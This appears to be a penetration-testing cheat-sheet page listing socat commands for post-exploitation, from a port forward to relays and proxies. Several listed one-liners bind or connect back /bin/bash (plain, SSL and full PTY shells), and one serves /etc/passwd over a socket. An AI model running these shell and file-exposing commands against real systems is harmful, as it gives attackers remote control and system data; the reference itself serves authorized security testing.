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🎯 Post-Exploitation Socat

Port forwarding

Socat command for port forwarding. Copy the command below and use it in your terminal.

socat — terminal
┌──(kali㉿kali)-[~]
└─$ socat TCP-LISTEN:8080,fork TCP:target:80
Tool
Socat
Category
Post-Exploitation
Purpose
Port forwarding

🛡️ Usage Tips

  • Always ensure you have proper authorization before using Socat against any target
  • Replace target with the actual IP address or hostname you are testing
  • Run this command from a Kali Linux terminal or any system with Socat installed
  • Combine with other Socat commands for more comprehensive results
  • Pipe output to a file with > output.txt for later analysis

🔗 More Socat Commands

socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
Reverse shell listener
socat TCP:target:4444 EXEC:/bin/bash
Connect back shell
socat TCP-LISTEN:443,fork,reuseaddr,cert=cert.pem EXEC:/bin/bash
SSL shell
socat OPENSSL-LISTEN:443,cert=cert.pem,fork TCP:target:80
SSL proxy
socat TCP-LISTEN:4444 STDOUT
Simple listener
socat - TCP:target:4444
Simple connect
socat TCP-LISTEN:2222,fork TCP:target:22
SSH relay
socat UDP-LISTEN:53,fork UDP:8.8.8.8:53
UDP forwarder
socat FILE:/dev/ttyS0,b9600 TCP-LISTEN:4444
Serial to TCP
socat TCP-LISTEN:4444,fork EXEC:/bin/bash,pty,stderr,setsid,sigint
Full PTY shell
socat UNIX-LISTEN:/tmp/sock,fork TCP:target:80
UNIX socket to TCP
socat TCP-LISTEN:4444,fork SYSTEM:"cat /etc/passwd"
Execute command

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